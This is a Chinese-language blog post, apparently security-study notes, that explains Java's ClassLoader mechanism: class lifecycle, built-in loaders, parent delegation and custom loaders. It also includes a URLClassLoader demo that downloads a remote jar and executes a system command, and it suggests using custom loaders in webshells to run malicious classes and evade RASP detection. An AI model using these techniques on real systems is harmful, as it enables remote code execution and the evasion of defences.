ClassLoader类加载机制

ClassLoader类加载机制

这篇文章算是记录学习代码审计的基础知识,了解java代码中类的加载在JVM中的底层流程。

概述

Java程序执行流程可以分为三部分:

1
2
3
4
5
编写源代码

编译字节码

运行java程序

加载过程

  • 使用java语法根据程序执行逻辑运算来编写java源代码(.java)
  • 源代码使用编译器javac将其编译成存储着JVM指令的二进制信息的字节码文件(.class)
  • 当调用某个类时,JVM虚拟机会将其放在运行数据区的方法区,在堆区创建一个java.lang.Class对象,用来封装类早方法区内的数据结构。

ClassLoader类加载的最终结果是位于堆栈区的java.lang.Class对象,封装类在方法区内的数据结构,还提供了一个访问方法区的数据结构的接口。

类的生命周期

类的生命周期经历四个过程:

1
加载-->连接(验证,准备,解析)-->初始化-->结束生命周期

如图所示:

类的加载

类的加载在上面的概述中已经解释了,就是JVM虚拟机把源代码编译成字节码二进制文件并将其放在java堆中生成一个java.lang.Class类对象。

类的连接

类的连接分为验证、准备、解析三部分。

  • 验证:检测加载类的二进制文件字节流安全性,文件字节流包含信息是否符合当前虚拟机要求并且不会危害虚拟机自身安全。

    主要分为4个阶段的检验动作:

    • 文件格式验证:验证加载类的字节流文件是否符合Class文件的格式规范。
    • 元数据验证: 对字节码文件中描述的信息进行语义分析,检测是否符合java语言规范的要求。
    • 字节码验证: 提供数据流和控制流来分析程序语义是否合法和符合逻辑的。
    • 符号引用验证: 确保解析动作是否能正确执行。
  • 准备:为加载类中的静态变量(static修饰的变量)分配内存并将其初始化为默认值.

    ​ 举个栗子: Static int test = 10

    ​ 在该步骤会将test初始化为默认值0。值得一提的是,10的赋值会在初始化阶段完成。

  • 解析:把类中的符号引用转换成直接引用。直接指向目标的指针、相对偏移量或一个简介定位到目标的句柄。

类的初始化

这是类加载的最后阶段,为静态变量赋值。若该类具有父类,则先对父类进行初始化。

初始化步骤:

  • 这个类没有被加载和连接,程序先加载并连接该类
  • 该类的直接父类还没有被初始化,先初始化其父类
  • 该类中有初始化语句,依次执行初始化语句

结束生命周期

JVM虚拟机结束生命周期,有如下几种情况:

  • 执行system.exit()方法
  • 程序正常执行结束
  • 程序在执行过程中遇到了异常或错误导致异常终止
  • 由于操作系统出现错误而导致jvm虚拟机进程终止

类加载器

在 JVM中,类的加载是由类加载器完成的。类加载器可分为JVM自带的类加载器和用户自定义的类加载器。

  • JVM自带的类加载器: 引导类加载器(根类加载器)、扩展类加载器、系统类加载器。
  • 用户自定义的类加载器:java.lang.ClassLoader的子类实例。

JVM内置加载器

根类加载器(Bootstrap ClassLoader)

  • 最底层的类加载器,没有父加载器,也没有继承java.lang.ClassLoader类
  • 加载sun.boot.class.path指定路径下的核心类库(%JAVAHOME%/jre/lib/rt.jar中的文件)
  • 只加载java,javax,sun开头的类

Demo代码如下;

1
2
3
4
5
6
7
8
9
package Classloader_test;

public class Classloader_test1 {
public static void main(String[] args){
ClassLoader classloader = Object.class.getClassLoader();
System.out.println(classloader); //根类加载器打印的结果是null
}

}

运行结果;

扩展类加载器(Extension ClassLoader)

  • 通常来说,扩展类加载器的父类加载器是根类加载器,其实它只是具备根类加载器的功能。扩展类加载器的父类加载器为null,当loadClass方法中的parent为null时,交由根类加载器来处理。
  • 扩展类加载器主要用于加载%JAVAHOME%/jre/lib/ext目录下的类库或者系统变量java.ext.dirs指定目录下的类库

Demo代码:

1
2
3
4
5
6
7
8
package Classloader_test;

public class Classloader_test1 {
public static void main(String[] args){
ClassLoader classLoader1 = DNSNameService.class.getClassLoader();
System.out.print("DNSNameservice类的加载器为:"+ classLoader1);
}
}

运行结果:

可以看到此时类加载器为扩展类加载器

系统类加载器(App ClassLoader)

  • 默认的类加载器,负责从classpath环境变量或者系统属性java.classs.path所指定的目录中加载类
  • 在不指定类加载器的情况下,默认使用系统类加载器加载类,它的父类是扩展类加载器。通过ClassLoader.getSystemClassLoader()来获得

Demo代码如下;

1
2
3
4
5
6
7
8
package Classloader_test;

public class Classloader_test1 {
public static void main(String[] args){
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println("默认类加载器为:"+loader);
}
}

运行结果;

1
注:JVM加载类是按需加载的,只有需要使用该类时才会将它的class文件加载到内存生成class对象。并且加载某个类时,JVM采用双亲委派模式,将加载类的请求交由父加载器处理,是一种任务委派模式。

双亲委派

除了根类加载器之外,其他的类加载器都需要自己的父加载器。类的加载过程采用双亲委派机制,当类加载器加载一个类时,会先委托自己的父类加载器加载这个类,若父类加载器能够加载则由父类加载器加载,否则由自己加载该类。

如图:

Demo代码:

1
2
3
4
5
6
7
8
package Classloader_test;
public class Classloader_test1 {
public static void main(String[] args){
ClassLoader loader = Thread.currentThread().getContextClassLoader();
System.out.println(loader);
System.out.println(loader.getParent());
System.out.println(loader.getParent().getParent());
}}

运行结果:

自定义类加载器

java.lang.ClassLoader是所有的类加载器的父类,所以ClassLoader有许多子类加载器。比如下方的URLClassLoader类加载器,重写了findClass()方法实现加载目录Class文件甚至是加载远程文件造成命令执行等

我们可以自定义类加载器实现加载自定义的字节码(加载恶意文件)触发恶意代码执行。

下面以helloworld.java举例说明:

1
2
3
4
5
6
7
8
9
package Classloader_test;

public class helloworld
{
public String hello()
{
return "Hello World!!!";
}
}

将该类编译并查看其字节码

一个类可以被JVM内置类加载器加载的前提是存在于classpath中,否则就需要我们自定义类加载器继承ClassLoade类重写findclass方法,传入所需加载类的字节码来向JVM定义一个类,最后通过反射机制调用该类执行代码。

自定义TestClassLoader类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package Classloader_test;

import java.io.IOException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "Classloader_test.Helloworld";
// TestHelloWorld类字节码
byte[] testClassBytes = Files.readAllBytes(Paths.get("/Users/Administrator/Desktop/Helloworld.class"));//加载字节码文件

public TestClassLoader() throws IOException {
}

@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) throws IOException {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}

运行结果:

总结:

根据上方自定义类加载helloworld类调用hello方法来看,我们可以延申一下攻击思路。我们可以在webshell中 实现加载并调用自己编译的类对象(恶意类)来执行恶意操作,比如本地命令执行等。在这一过程中调用自定义类字节码的native方法绕过RASP检测,我们也可以通过一些弱加密来加密java字节码。

ClassLoader

上面提到的所有类加载器都必须继承java.lang.ClassLoader类。

它的主要方法可以分为5种:

  • loadClass (加载指定的java类)
  • findClass (查找指定的java类 )
  • findloadedClass (查看JVM加载过的类)
  • defineClass (定义一个java类)
  • resolveClass (链接指定的java类)

LoadClass

在ClassLoader类中存在一个loadClass方法,该代码就是双亲委派的实现。

当父类加载器加载不到类时,会调用findClass方法查找类,使用本身的类加载器进行加载类.

代码如下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

findClass

在自定义类加载器时,一般会覆盖掉这个方法, 当覆盖掉这个类时程序会调用我们写的类。

代码如下:

1
2
3
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

defineClass

该方法将字节解析成虚拟机能够识别的Class对象。通常来说,defineClass()方法与findClass()一起使用。

代码如下:

1
2
3
4
5
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

resolveClass

连接指定的类,类加载器可以使用此方法来连接类

ClassLoader类加载流程

这里简单写个java程序,代码如下;

1
2
3
4
5
6
7
8
9
package Classloader_test;

public class helloworld
{
public String hello()
{
return "hello world!!!!"
}
}

加载流程;

  • ClassLoader调用loadClass()方法加载helloworldle类,调用findloadedClass方法检查helloworld类是否已经初始化,如果JVM初始化过该类就直接返回类对象。
  • 如果当前类加载器传入父类加载器加载类加载类失败,就调用自身的findClass方法尝试加载helloworld类
  • 如果当前类加载器重写了findClass方法并通过传入的类名找到了类字节码,调用defineClass方法在JVM中注册该类。否则返回类加载失败异常。
  • 如果调用loaderClass的时候传入的resolve参数为true,还需要调用resolveClass方法链接类,默认为false.
  • 返回一个被JVM加载后的java.lang.Class对象

URLClassLoader

在java.net包中,JDK提供了一个易用的继承了ClassLoader的类加载器URLClassLoader类。

URLClassLoader提供了加载远程资源的能力,在一些远程利用接口下可以调用该类来加载jar实现RCE。

构造方法:

1
2
3
4
5
public URLClassLoader(URL[] urls) 
//指定要加载的类所在的URL地址,父类加载器默认为系统类加载器。

public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要加载的类所在的URL地址,并指定父类加载器。

Demo代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.ClassLoader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "ls";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}

加载的jar文件源代码如下:

1
2
3
4
5
6
7
import java.io.IOException;

publicclass CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}

将该代码编译后打包成jar包放在本机服务器上。

代码运行如下:

1
2
3
4
5
6
README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml

类动态加载方式

Java类加载方式分为显式和隐式。

显式就是我们通常使用的Java反射和ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new 类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用类动态加载方式:

  • Class.forName(“类名“) 默认初始化被加载类的静态属性和方法
  • Class.forName(“类名 “,是否初始化类,类加载器) 不初始化类
  • Class.loadClass 默认不会初始化方法
1
2
3
4
5
//反射加载helloworld示例:
Class.forName("com.Classloader.helloWorld");

//ClassLoader加载helloworld示例;
this.getClass().getClassLoader().loadClass("com.Classloader.helloWorld");
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信